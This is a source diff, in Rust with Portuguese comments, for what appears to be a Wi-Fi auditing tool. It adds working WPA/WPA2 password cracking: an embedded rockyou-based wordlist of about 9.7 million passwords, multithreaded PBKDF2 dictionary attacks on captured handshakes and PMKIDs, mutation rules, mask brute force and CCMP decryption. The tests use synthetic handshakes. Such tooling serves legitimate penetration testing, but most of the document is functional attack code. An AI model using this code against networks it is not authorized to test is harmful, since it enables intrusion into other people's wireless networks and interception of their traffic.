let mut block = plaintext.into();
|
||||||
|
cipher.encrypt_block(&mut block);
|
||||||
|
assert_eq!(block.as_slice(), &expected);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Round-trip de auto-consistência: decifrar um texto que a própria
|
||||||
|
/// função "cifrou" (mesmo algoritmo, usado nos dois sentidos — CTR é
|
||||||
|
/// simétrico) tem que devolver o original. Isso pega bug de indexação
|
||||||
|
/// no nonce/contador mesmo sem um vetor de teste oficial do CCMP à mão.
|
||||||
|
#[test]
|
||||||
|
fn ctr_round_trip_recovers_plaintext() {
|
||||||
|
let tk = [0x42u8; 16];
|
||||||
|
let transmitter = [0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff];
|
||||||
|
let plaintext = b"AA AA 03 00 00 00 08 00 payload de teste bem maior que um bloco de 16 bytes para cobrir mais de uma rodada do contador";
|
||||||
|
|
||||||
|
// Monta um "quadro" CCMP cifrando manualmente com a mesma lógica de
|
||||||
|
// keystream (ela é simétrica: XOR com o keystream cifra e decifra).
|
||||||
|
let header = [0x11u8, 0x22, 0x00, 0x20, 0x33, 0x44, 0x55, 0x66]; // ExtIV ligado
|
||||||
|
let mut nonce = [0u8; 13];
|
||||||
|
nonce[0] = 3; // TID
|
||||||
|
nonce[1..7].copy_from_slice(&transmitter);
|
||||||
|
nonce[7] = header[7];
|
||||||
|
nonce[8] = header[6];
|
||||||
|
nonce[9] = header[5];
|
||||||
|
nonce[10] = header[4];
|
||||||
|
nonce[11] = header[1];
|
||||||
|
nonce[12] = header[0];
|
||||||
|
let cipher = Aes128::new(&tk.into());
|
||||||
|
let mut ciphertext = Vec::with_capacity(plaintext.len());
|
||||||
|
let mut counter: u16 = 1;
|
||||||
|
for chunk in plaintext.chunks(16) {
|
||||||
|
let mut block = [0u8; 16];
|
||||||
|
block[0] = 0x01;
|
||||||
|
block[1..14].copy_from_slice(&nonce);
|
||||||
|
block[14..16].copy_from_slice(&counter.to_be_bytes());
|
||||||
|
let mut keystream = block.into();
|
||||||
|
cipher.encrypt_block(&mut keystream);
|
||||||
|
for (p, k) in chunk.iter().zip(keystream.iter()) {
|
||||||
|
ciphertext.push(p ^ k);
|
||||||
|
}
|
||||||
|
counter = counter.wrapping_add(1);
|
||||||
|
}
|
||||||
|
ciphertext.extend_from_slice(&[0u8; 8]); // MIC fictício, ignorado na decriptação
|
||||||
|
|
||||||
|
let mut body = Vec::new();
|
||||||
|
body.extend_from_slice(&header);
|
||||||
|
body.extend_from_slice(&ciphertext);
|
||||||
|
|
||||||
|
let out = decrypt_data(&tk, &transmitter, 3, &body).expect("decifra");
|
||||||
|
assert_eq!(out, plaintext);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn rejects_body_without_extiv_bit() {
|
||||||
|
let tk = [0u8; 16];
|
||||||
|
let body = [0u8; 20]; // key_id_octet (índice 3) sem o bit ExtIV
|
||||||
|
assert!(decrypt_data(&tk, &[0; 6], 0, &body).is_none());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn rejects_body_too_short() {
|
||||||
|
let tk = [0u8; 16];
|
||||||
|
let body = [0u8; 10];
|
||||||
|
assert!(decrypt_data(&tk, &[0; 6], 0, &body).is_none());
|
||||||
|
}
|
||||||
|
}
|
||||||
+314
-29
@@ -15,13 +15,17 @@ use crate::dot11::parse_mac;
|
|||||||
use crate::error::{Result, SabiaError};
|
use crate::error::{Result, SabiaError};
|
||||||
use crate::handshake::Handshake;
|
use crate::handshake::Handshake;
|
||||||
use crate::pcapreader::PcapReader;
|
use crate::pcapreader::PcapReader;
|
||||||
|
use crate::rules::Mask;
|
||||||
use crate::scan::ScanTable;
|
use crate::scan::ScanTable;
|
||||||
|
use flate2::read::GzDecoder;
|
||||||
use hmac::{Hmac, Mac};
|
use hmac::{Hmac, Mac};
|
||||||
use md5::Md5;
|
use md5::Md5;
|
||||||
use sha1::Sha1;
|
use sha1::Sha1;
|
||||||
use std::fs::File;
|
use std::fs::File;
|
||||||
use std::io::{BufRead, BufReader};
|
use std::io::{BufRead, BufReader, Read};
|
||||||
use std::path::Path;
|
use std::path::Path;
|
||||||
|
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||||
|
use std::sync::{LazyLock, Mutex};
|
||||||
use std::time::Instant;
|
use std::time::Instant;
|
||||||
|
|
||||||
type HmacSha1 = Hmac<Sha1>;
|
type HmacSha1 = Hmac<Sha1>;
|
||||||
@@ -29,6 +33,37 @@ type HmacMd5 = Hmac<Md5>;
|
|||||||
|
|
||||||
const WPA_ITERATIONS: u32 = 4096;
|
const WPA_ITERATIONS: u32 = 4096;
|
||||||
|
|
||||||
|
/// `.gz` do dicionário embutido — descomprimido só na primeira vez que é
|
||||||
|
/// usado (ver [`default_wordlist`]). Cru são ~101MB; comprimido, ~39MB no
|
||||||
|
/// binário em vez de ~101MB.
|
||||||
|
const DEFAULT_WORDLIST_GZ: &[u8] = include_bytes!("../assets/wordlists/wpa-full.txt.gz");
|
||||||
|
|
||||||
|
pub const DEFAULT_WORDLIST_SOURCE: &str =
|
||||||
|
"Probable-Wordlists (berzerk0) WPA-Length top204k (CC BY-SA 4.0) + rockyou.txt via SecLists — ver assets/wordlists/LICENSE.wpa-full";
|
||||||
|
|
||||||
|
static DEFAULT_WORDLIST_CACHE: LazyLock<String> = LazyLock::new(|| {
|
||||||
|
let mut out = String::new();
|
||||||
|
GzDecoder::new(DEFAULT_WORDLIST_GZ)
|
||||||
|
.read_to_string(&mut out)
|
||||||
|
.expect("dicionário embutido corrompido");
|
||||||
|
out
|
||||||
|
});
|
||||||
|
|
||||||
|
/// Lista embutida de senhas prováveis de Wi-Fi, usada quando o usuário não
|
||||||
|
/// escolhe um dicionário próprio. Não depende de arquivo externo: é a lista
|
||||||
|
/// mais completa que o Sabiá consegue embutir sem exigir download —
|
||||||
|
/// 9.703.831 senhas (203.806 do Probable-Wordlists, ranqueadas por
|
||||||
|
/// probabilidade, seguidas pelo rockyou.txt inteiro) filtradas pro
|
||||||
|
/// comprimento válido de WPA (8–63) e pra ASCII puro (WPA-PSK exige um
|
||||||
|
/// octeto válido; a imensa maioria dos roteadores só aceita ASCII mesmo, e
|
||||||
|
/// isso evita o pouco de lixo binário que o rockyou.txt original carrega),
|
||||||
|
/// sem duplicatas e na ordem de prioridade: as mais prováveis primeiro,
|
||||||
|
/// então a quebra tende a achar a senha cedo, não só no fim da lista. Ver
|
||||||
|
/// `assets/wordlists/LICENSE.wpa-full` pra atribuição completa.
|
||||||
|
pub fn default_wordlist() -> &'static str {
|
||||||
|
&DEFAULT_WORDLIST_CACHE
|
||||||
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone)]
|
#[derive(Debug, Clone)]
|
||||||
pub struct CrackTarget {
|
pub struct CrackTarget {
|
||||||
pub ssid: String,
|
pub ssid: String,
|
||||||
@@ -116,8 +151,10 @@ pub fn derive_pmk(passphrase: &str, ssid: &str) -> [u8; 32] {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Aceita uma frase-senha (8–63 caracteres) ou uma PMK crua em hexadecimal
|
/// Aceita uma frase-senha (8–63 caracteres) ou uma PMK crua em hexadecimal
|
||||||
/// (64 caracteres, como no hashcat/aircrack).
|
/// (64 caracteres, como no hashcat/aircrack). `pub(crate)` porque
|
||||||
fn pmk_from_candidate(candidate: &str, ssid: &[u8]) -> Option<[u8; 32]> {
|
/// `handshake.rs` reusa exatamente essa regra ao derivar a TK de uma senha
|
||||||
|
/// já quebrada (o campo `password` aceita as duas formas, igual aqui).
|
||||||
|
pub(crate) fn pmk_from_candidate(candidate: &str, ssid: &[u8]) -> Option<[u8; 32]> {
|
||||||
if candidate.len() == 64 && candidate.bytes().all(|b| b.is_ascii_hexdigit()) {
|
if candidate.len() == 64 && candidate.bytes().all(|b| b.is_ascii_hexdigit()) {
|
||||||
return hex_to_32(candidate.as_bytes());
|
return hex_to_32(candidate.as_bytes());
|
||||||
}
|
}
|
||||||
@@ -133,15 +170,20 @@ fn pmk_from_candidate(candidate: &str, ssid: &[u8]) -> Option<[u8; 32]> {
|
|||||||
pub fn pbkdf2_sha1(password: &[u8], salt: &[u8], iterations: u32, out_len: usize) -> Vec<u8> {
|
pub fn pbkdf2_sha1(password: &[u8], salt: &[u8], iterations: u32, out_len: usize) -> Vec<u8> {
|
||||||
let iterations = iterations.max(1);
|
let iterations = iterations.max(1);
|
||||||
let mut out = Vec::with_capacity(out_len);
|
let mut out = Vec::with_capacity(out_len);
|
||||||
|
// O par ipad/opad depende só da senha — monta uma vez e clona a cada
|
||||||
|
// rodada (clone é só copiar os dois blocos já prontos) em vez de montar
|
||||||
|
// o HMAC do zero em cada uma das milhares de iterações. Em 4096
|
||||||
|
// iterações por bloco isso é a maior parte do custo fora do SHA1 em si.
|
||||||
|
let base = HmacSha1::new_from_slice(password).expect("HMAC aceita qualquer chave");
|
||||||
let mut block: u32 = 1;
|
let mut block: u32 = 1;
|
||||||
while out.len() < out_len {
|
while out.len() < out_len {
|
||||||
let mut mac = HmacSha1::new_from_slice(password).expect("HMAC aceita qualquer chave");
|
let mut mac = base.clone();
|
||||||
mac.update(salt);
|
mac.update(salt);
|
||||||
mac.update(&block.to_be_bytes());
|
mac.update(&block.to_be_bytes());
|
||||||
let mut u = mac.finalize().into_bytes();
|
let mut u = mac.finalize().into_bytes();
|
||||||
let mut t = u;
|
let mut t = u;
|
||||||
for _ in 1..iterations {
|
for _ in 1..iterations {
|
||||||
let mut mac = HmacSha1::new_from_slice(password).expect("HMAC aceita qualquer chave");
|
let mut mac = base.clone();
|
||||||
mac.update(&u);
|
mac.update(&u);
|
||||||
u = mac.finalize().into_bytes();
|
u = mac.finalize().into_bytes();
|
||||||
for (a, b) in t.iter_mut().zip(u.iter()) {
|
for (a, b) in t.iter_mut().zip(u.iter()) {
|
||||||
@@ -272,16 +314,26 @@ fn valid_candidate(candidate: &str) -> bool {
|
|||||||
|| (candidate.len() == 64 && candidate.bytes().all(|b| b.is_ascii_hexdigit()))
|
|| (candidate.len() == 64 && candidate.bytes().all(|b| b.is_ascii_hexdigit()))
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Tenta cada linha do dicionário contra o alvo. `progress` recebe o número
|
/// Tenta cada linha do dicionário contra o alvo, dividindo o trabalho entre
|
||||||
/// de candidatos já processados.
|
/// as threads disponíveis (PBKDF2-HMAC-SHA1 de 4096 iterações é CPU puro e
|
||||||
pub fn crack_reader<R: BufRead, F: FnMut(u64)>(
|
/// cada candidato é independente — ganho quase linear com o número de
|
||||||
|
/// núcleos). `progress` recebe o número de candidatos já processados, ~8x
|
||||||
|
/// por segundo enquanto roda. Com `apply_rules`, cada linha vira até
|
||||||
|
/// [`rules::VARIANTS_PER_WORD`] candidatos (maiúscula, sufixos comuns, leet
|
||||||
|
/// simples) em vez de só a palavra crua — multiplica o tempo de verdade,
|
||||||
|
/// por isso é opt-in.
|
||||||
|
pub fn crack_reader<R: BufRead, F: FnMut(u64) + Send>(
|
||||||
target: &CrackTarget,
|
target: &CrackTarget,
|
||||||
mut wordlist: R,
|
mut wordlist: R,
|
||||||
|
apply_rules: bool,
|
||||||
mut progress: F,
|
mut progress: F,
|
||||||
) -> CrackReport {
|
) -> CrackReport {
|
||||||
let start = Instant::now();
|
let start = Instant::now();
|
||||||
let mut tried = 0u64;
|
|
||||||
let mut password = None;
|
// Carrega a lista inteira antes de começar: dá pra repartir em pedaços
|
||||||
|
// contíguos por thread (melhor localidade de cache que round-robin) e o
|
||||||
|
// próprio dicionário embutido cabe de sobra em memória.
|
||||||
|
let mut candidates: Vec<String> = Vec::new();
|
||||||
let mut line = String::new();
|
let mut line = String::new();
|
||||||
loop {
|
loop {
|
||||||
line.clear();
|
line.clear();
|
||||||
@@ -294,20 +346,62 @@ pub fn crack_reader<R: BufRead, F: FnMut(u64)>(
|
|||||||
if candidate.is_empty() {
|
if candidate.is_empty() {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
tried += 1;
|
if apply_rules {
|
||||||
if valid_candidate(candidate) && target.verify(candidate) {
|
candidates.extend(crate::rules::expand(candidate));
|
||||||
password = Some(candidate.to_string());
|
} else {
|
||||||
break;
|
candidates.push(candidate.to_string());
|
||||||
}
|
|
||||||
if tried % 128 == 0 {
|
|
||||||
progress(tried);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
progress(tried);
|
|
||||||
|
let total = candidates.len();
|
||||||
|
let workers = std::thread::available_parallelism()
|
||||||
|
.map(std::num::NonZeroUsize::get)
|
||||||
|
.unwrap_or(1)
|
||||||
|
.min(total.max(1));
|
||||||
|
let chunk = total.div_ceil(workers.max(1)).max(1);
|
||||||
|
|
||||||
|
let tried = AtomicU64::new(0);
|
||||||
|
let stop = AtomicBool::new(false);
|
||||||
|
let found: Mutex<Option<String>> = Mutex::new(None);
|
||||||
|
|
||||||
|
std::thread::scope(|scope| {
|
||||||
|
for part in candidates.chunks(chunk) {
|
||||||
|
let tried = &tried;
|
||||||
|
let stop = &stop;
|
||||||
|
let found = &found;
|
||||||
|
scope.spawn(move || {
|
||||||
|
for candidate in part {
|
||||||
|
if stop.load(Ordering::Relaxed) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if valid_candidate(candidate) && target.verify(candidate) {
|
||||||
|
*found.lock().unwrap() = Some(candidate.clone());
|
||||||
|
stop.store(true, Ordering::Relaxed);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
tried.fetch_add(1, Ordering::Relaxed);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Thread "repórter": roda dentro do mesmo scope só pra poder
|
||||||
|
// emprestar `progress` (FnMut, chamado de um único lugar).
|
||||||
|
scope.spawn(|| loop {
|
||||||
|
std::thread::sleep(std::time::Duration::from_millis(120));
|
||||||
|
let n = tried.load(Ordering::Relaxed);
|
||||||
|
progress(n);
|
||||||
|
if stop.load(Ordering::Relaxed) || n as usize >= total {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
let final_tried = tried.load(Ordering::Relaxed);
|
||||||
|
progress(final_tried);
|
||||||
|
|
||||||
CrackReport {
|
CrackReport {
|
||||||
password,
|
password: found.into_inner().unwrap(),
|
||||||
tried,
|
tried: final_tried,
|
||||||
elapsed_ms: start.elapsed().as_millis() as u64,
|
elapsed_ms: start.elapsed().as_millis() as u64,
|
||||||
ssid: Some(target.ssid.clone()),
|
ssid: Some(target.ssid.clone()),
|
||||||
bssid: Some(crate::dot11::mac_to_string(&target.bssid)),
|
bssid: Some(crate::dot11::mac_to_string(&target.bssid)),
|
||||||
@@ -316,26 +410,52 @@ pub fn crack_reader<R: BufRead, F: FnMut(u64)>(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn crack_handshake<F: FnMut(u64)>(
|
pub fn crack_handshake<F: FnMut(u64) + Send>(
|
||||||
hs: &Handshake,
|
hs: &Handshake,
|
||||||
wordlist: impl AsRef<Path>,
|
wordlist: impl AsRef<Path>,
|
||||||
|
apply_rules: bool,
|
||||||
progress: F,
|
progress: F,
|
||||||
) -> Result<CrackReport> {
|
) -> Result<CrackReport> {
|
||||||
let target = CrackTarget::from_handshake(hs).ok_or_else(|| {
|
let target = target_for(hs)?;
|
||||||
|
let file = File::open(wordlist)?;
|
||||||
|
Ok(crack_reader(
|
||||||
|
&target,
|
||||||
|
BufReader::new(file),
|
||||||
|
apply_rules,
|
||||||
|
progress,
|
||||||
|
))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Quebra usando a lista embutida.
|
||||||
|
pub fn crack_handshake_default<F: FnMut(u64) + Send>(
|
||||||
|
hs: &Handshake,
|
||||||
|
apply_rules: bool,
|
||||||
|
progress: F,
|
||||||
|
) -> Result<CrackReport> {
|
||||||
|
let target = target_for(hs)?;
|
||||||
|
Ok(crack_reader(
|
||||||
|
&target,
|
||||||
|
std::io::Cursor::new(default_wordlist().as_bytes()),
|
||||||
|
apply_rules,
|
||||||
|
progress,
|
||||||
|
))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn target_for(hs: &Handshake) -> Result<CrackTarget> {
|
||||||
|
CrackTarget::from_handshake(hs).ok_or_else(|| {
|
||||||
SabiaError::InvalidInput(
|
SabiaError::InvalidInput(
|
||||||
"handshake sem SSID, PMKID ou par de nonces suficiente para quebrar".into(),
|
"handshake sem SSID, PMKID ou par de nonces suficiente para quebrar".into(),
|
||||||
)
|
)
|
||||||
})?;
|
})
|
||||||
let file = File::open(wordlist)?;
|
|
||||||
Ok(crack_reader(&target, BufReader::new(file), progress))
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Lê um `.pcap`, monta os handshakes e tenta quebrar o primeiro alvo útil.
|
/// Lê um `.pcap`, monta os handshakes e tenta quebrar o primeiro alvo útil.
|
||||||
pub fn crack_pcap<F: FnMut(u64)>(
|
pub fn crack_pcap<F: FnMut(u64) + Send>(
|
||||||
pcap: impl AsRef<Path>,
|
pcap: impl AsRef<Path>,
|
||||||
wordlist: impl AsRef<Path>,
|
wordlist: impl AsRef<Path>,
|
||||||
bssid: Option<&str>,
|
bssid: Option<&str>,
|
||||||
station: Option<&str>,
|
station: Option<&str>,
|
||||||
|
apply_rules: bool,
|
||||||
progress: F,
|
progress: F,
|
||||||
) -> Result<CrackReport> {
|
) -> Result<CrackReport> {
|
||||||
let mut reader = PcapReader::open(pcap)?;
|
let mut reader = PcapReader::open(pcap)?;
|
||||||
@@ -351,7 +471,89 @@ pub fn crack_pcap<F: FnMut(u64)>(
|
|||||||
let hs = table
|
let hs = table
|
||||||
.first_crackable(bssid, station)
|
.first_crackable(bssid, station)
|
||||||
.ok_or_else(|| SabiaError::InvalidInput("nenhum handshake quebrável na captura".into()))?;
|
.ok_or_else(|| SabiaError::InvalidInput("nenhum handshake quebrável na captura".into()))?;
|
||||||
crack_handshake(hs, wordlist, progress)
|
crack_handshake(hs, wordlist, apply_rules, progress)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Força bruta por máscara (estilo hashcat `-a 3`): gera e testa cada
|
||||||
|
/// combinação possível, sem depender de dicionário. Mesma paralelização por
|
||||||
|
/// threads do `crack_reader`, mas gerando candidatos por índice (base
|
||||||
|
/// mista) em vez de carregar tudo em memória — é o que permite máscaras com
|
||||||
|
/// milhões/bilhões de combinações sem estourar RAM.
|
||||||
|
pub fn crack_mask<F: FnMut(u64) + Send>(
|
||||||
|
target: &CrackTarget,
|
||||||
|
mask: &Mask,
|
||||||
|
mut progress: F,
|
||||||
|
) -> CrackReport {
|
||||||
|
let start = Instant::now();
|
||||||
|
let total = mask.total().unwrap_or(0);
|
||||||
|
|
||||||
|
let workers = std::thread::available_parallelism()
|
||||||
|
.map(std::num::NonZeroUsize::get)
|
||||||
|
.unwrap_or(1)
|
||||||
|
.min(total.max(1) as usize) as u64;
|
||||||
|
let chunk = total.div_ceil(workers.max(1)).max(1);
|
||||||
|
|
||||||
|
let tried = AtomicU64::new(0);
|
||||||
|
let stop = AtomicBool::new(false);
|
||||||
|
let found: Mutex<Option<String>> = Mutex::new(None);
|
||||||
|
|
||||||
|
std::thread::scope(|scope| {
|
||||||
|
let mut from = 0u64;
|
||||||
|
while from < total {
|
||||||
|
let to = (from + chunk).min(total);
|
||||||
|
let tried = &tried;
|
||||||
|
let stop = &stop;
|
||||||
|
let found = &found;
|
||||||
|
scope.spawn(move || {
|
||||||
|
for i in from..to {
|
||||||
|
if stop.load(Ordering::Relaxed) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if let Some(candidate) = mask.candidate(i) {
|
||||||
|
if valid_candidate(&candidate) && target.verify(&candidate) {
|
||||||
|
*found.lock().unwrap() = Some(candidate);
|
||||||
|
stop.store(true, Ordering::Relaxed);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
tried.fetch_add(1, Ordering::Relaxed);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
from = to;
|
||||||
|
}
|
||||||
|
|
||||||
|
scope.spawn(|| loop {
|
||||||
|
std::thread::sleep(std::time::Duration::from_millis(120));
|
||||||
|
let n = tried.load(Ordering::Relaxed);
|
||||||
|
progress(n);
|
||||||
|
if stop.load(Ordering::Relaxed) || n >= total {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
let final_tried = tried.load(Ordering::Relaxed);
|
||||||
|
progress(final_tried);
|
||||||
|
|
||||||
|
CrackReport {
|
||||||
|
password: found.into_inner().unwrap(),
|
||||||
|
tried: final_tried,
|
||||||
|
elapsed_ms: start.elapsed().as_millis() as u64,
|
||||||
|
ssid: Some(target.ssid.clone()),
|
||||||
|
bssid: Some(crate::dot11::mac_to_string(&target.bssid)),
|
||||||
|
station: Some(crate::dot11::mac_to_string(&target.station)),
|
||||||
|
method: Some(target.method().to_string()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Quebra por máscara a partir de um handshake já montado.
|
||||||
|
pub fn crack_handshake_mask<F: FnMut(u64) + Send>(
|
||||||
|
hs: &Handshake,
|
||||||
|
mask: &Mask,
|
||||||
|
progress: F,
|
||||||
|
) -> Result<CrackReport> {
|
||||||
|
let target = target_for(hs)?;
|
||||||
|
Ok(crack_mask(&target, mask, progress))
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg(test)]
|
#[cfg(test)]
|
||||||
@@ -360,6 +562,47 @@ mod tests {
|
|||||||
use crate::testutil::{handshake_frames, synthetic_handshake};
|
use crate::testutil::{handshake_frames, synthetic_handshake};
|
||||||
use std::io::Cursor;
|
use std::io::Cursor;
|
||||||
|
|
||||||
|
/// Mede só o tempo de descomprimir o dicionário embutido (gzip, ~39MB -> ~101MB),
|
||||||
|
/// que acontece uma vez, na primeira chamada a `default_wordlist()`.
|
||||||
|
#[test]
|
||||||
|
#[ignore]
|
||||||
|
fn bench_default_wordlist_decompress() {
|
||||||
|
let start = Instant::now();
|
||||||
|
let text = default_wordlist();
|
||||||
|
let elapsed = start.elapsed();
|
||||||
|
eprintln!(
|
||||||
|
"descomprimiu {} linhas em {:.2?}",
|
||||||
|
text.lines().count(),
|
||||||
|
elapsed
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Não é teste de verdade — mede candidatos/segundo pra guiar otimização
|
||||||
|
/// de performance. `cargo test --release -p sabia-core -- --ignored
|
||||||
|
/// --nocapture bench_crack_throughput`.
|
||||||
|
#[test]
|
||||||
|
#[ignore]
|
||||||
|
fn bench_crack_throughput() {
|
||||||
|
let (m1, m2) = handshake_frames("IEEE", "senha-que-nao-esta-na-lista", 2, false);
|
||||||
|
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
|
||||||
|
let target = CrackTarget::from_handshake(&hs).expect("alvo");
|
||||||
|
// Só uma fatia: a lista inteira (9,7 milhões) levaria minutos — o
|
||||||
|
// objetivo aqui é medir candidatos/s, não o tempo total.
|
||||||
|
let sample: String = default_wordlist()
|
||||||
|
.lines()
|
||||||
|
.take(500_000)
|
||||||
|
.collect::<Vec<_>>()
|
||||||
|
.join("\n");
|
||||||
|
let start = Instant::now();
|
||||||
|
let report = crack_reader(&target, Cursor::new(sample.as_bytes()), false, |_| {});
|
||||||
|
let elapsed = start.elapsed();
|
||||||
|
let per_sec = report.tried as f64 / elapsed.as_secs_f64();
|
||||||
|
eprintln!(
|
||||||
|
"{} candidatos em {:.2?} = {:.1}/s",
|
||||||
|
report.tried, elapsed, per_sec
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn pbkdf2_matches_rfc6070_vector() {
|
fn pbkdf2_matches_rfc6070_vector() {
|
||||||
let out = pbkdf2_sha1(b"password", b"salt", 1, 20);
|
let out = pbkdf2_sha1(b"password", b"salt", 1, 20);
|
||||||
@@ -386,6 +629,7 @@ mod tests {
|
|||||||
let report = crack_reader(
|
let report = crack_reader(
|
||||||
&target,
|
&target,
|
||||||
Cursor::new(b"errada\noutra\npassword\nnunca\n".to_vec()),
|
Cursor::new(b"errada\noutra\npassword\nnunca\n".to_vec()),
|
||||||
|
false,
|
||||||
|_| progress_calls += 1,
|
|_| progress_calls += 1,
|
||||||
);
|
);
|
||||||
assert_eq!(report.password.as_deref(), Some("password"));
|
assert_eq!(report.password.as_deref(), Some("password"));
|
||||||
@@ -400,7 +644,12 @@ mod tests {
|
|||||||
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &[]);
|
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &[]);
|
||||||
let target = CrackTarget::from_handshake(&hs).expect("alvo");
|
let target = CrackTarget::from_handshake(&hs).expect("alvo");
|
||||||
assert_eq!(target.method(), "PMKID");
|
assert_eq!(target.method(), "PMKID");
|
||||||
let report = crack_reader(&target, Cursor::new(b"nada\npassword\n".to_vec()), |_| {});
|
let report = crack_reader(
|
||||||
|
&target,
|
||||||
|
Cursor::new(b"nada\npassword\n".to_vec()),
|
||||||
|
false,
|
||||||
|
|_| {},
|
||||||
|
);
|
||||||
assert_eq!(report.password.as_deref(), Some("password"));
|
assert_eq!(report.password.as_deref(), Some("password"));
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -417,10 +666,46 @@ mod tests {
|
|||||||
let (m1, m2) = handshake_frames("IEEE", "senha-correta", 2, false);
|
let (m1, m2) = handshake_frames("IEEE", "senha-correta", 2, false);
|
||||||
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
|
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
|
||||||
let target = CrackTarget::from_handshake(&hs).expect("alvo");
|
let target = CrackTarget::from_handshake(&hs).expect("alvo");
|
||||||
let report = crack_reader(&target, Cursor::new(b"senha-errada\n".to_vec()), |_| {});
|
let report = crack_reader(
|
||||||
|
&target,
|
||||||
|
Cursor::new(b"senha-errada\n".to_vec()),
|
||||||
|
false,
|
||||||
|
|_| {},
|
||||||
|
);
|
||||||
assert!(report.password.is_none());
|
assert!(report.password.is_none());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn rules_find_a_mutated_variant_not_present_verbatim() {
|
||||||
|
// A senha de verdade é "wifi12345" — não está na lista, mas é um
|
||||||
|
// sufixo numérico de "wifi" que `rules::expand` gera.
|
||||||
|
let (m1, m2) = handshake_frames("IEEE", "wifi12345", 2, false);
|
||||||
|
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
|
||||||
|
let target = CrackTarget::from_handshake(&hs).expect("alvo");
|
||||||
|
|
||||||
|
let without_rules = crack_reader(&target, Cursor::new(b"wifi\n".to_vec()), false, |_| {});
|
||||||
|
assert!(without_rules.password.is_none());
|
||||||
|
|
||||||
|
let with_rules = crack_reader(&target, Cursor::new(b"wifi\n".to_vec()), true, |_| {});
|
||||||
|
assert_eq!(with_rules.password.as_deref(), Some("wifi12345"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn mask_crack_finds_a_numeric_password() {
|
||||||
|
// Máscara minúscula de propósito (só 10 combinações): cada candidato
|
||||||
|
// é um PBKDF2 de 4096 iterações, pesado até em paralelo — um brute
|
||||||
|
// force de verdade (ex.: ?d×8, 100 milhões) é coisa pra uso real,
|
||||||
|
// não pra um teste unitário que roda em `cargo test` toda hora.
|
||||||
|
let (m1, m2) = handshake_frames("IEEE", "wifiabc7", 2, false);
|
||||||
|
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
|
||||||
|
let target = CrackTarget::from_handshake(&hs).expect("alvo");
|
||||||
|
let mask = Mask::parse("wifiabc?d").expect("máscara válida");
|
||||||
|
assert_eq!(mask.total(), Some(10));
|
||||||
|
let report = crack_mask(&target, &mask, |_| {});
|
||||||
|
assert_eq!(report.password.as_deref(), Some("wifiabc7"));
|
||||||
|
assert!(report.tried > 0);
|
||||||
|
}
|
||||||
|
|
||||||
fn hex_bytes(s: &str) -> Vec<u8> {
|
fn hex_bytes(s: &str) -> Vec<u8> {
|
||||||
(0..s.len())
|
(0..s.len())
|
||||||
.step_by(2)
|
.step_by(2)
|
||||||
|
|||||||
@@ -79,7 +79,33 @@ pub struct ManagementInfo {
|
|||||||
pub akm: Vec<String>,
|
pub akm: Vec<String>,
|
||||||
pub wps: bool,
|
pub wps: bool,
|
||||||
pub pmf: bool,
|
pub pmf: bool,
|
||||||
|
pub pmf_required: bool,
|
||||||
pub country: Option<String>,
|
pub country: Option<String>,
|
||||||
|
pub beacon_interval: Option<u16>,
|
||||||
|
pub privacy: bool,
|
||||||
|
pub phy: Vec<String>,
|
||||||
|
pub width_mhz: Option<u16>,
|
||||||
|
pub wps_locked: Option<bool>,
|
||||||
|
pub wps_version: Option<String>,
|
||||||
|
pub wps_manufacturer: Option<String>,
|
||||||
|
pub wps_model: Option<String>,
|
||||||
|
pub wps_model_number: Option<String>,
|
||||||
|
pub wps_device_name: Option<String>,
|
||||||
|
pub wps_serial: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Pistas de identidade tiradas de payload em claro (DHCP, mDNS/DNS, SSDP,
|
||||||
|
/// HTTP e ARP). Redes criptografadas não expõem nada disso; nesse caso os
|
||||||
|
/// campos ficam vazios e a UI mostra só MAC, OUI e probes.
|
||||||
|
#[derive(Debug, Clone, Default)]
|
||||||
|
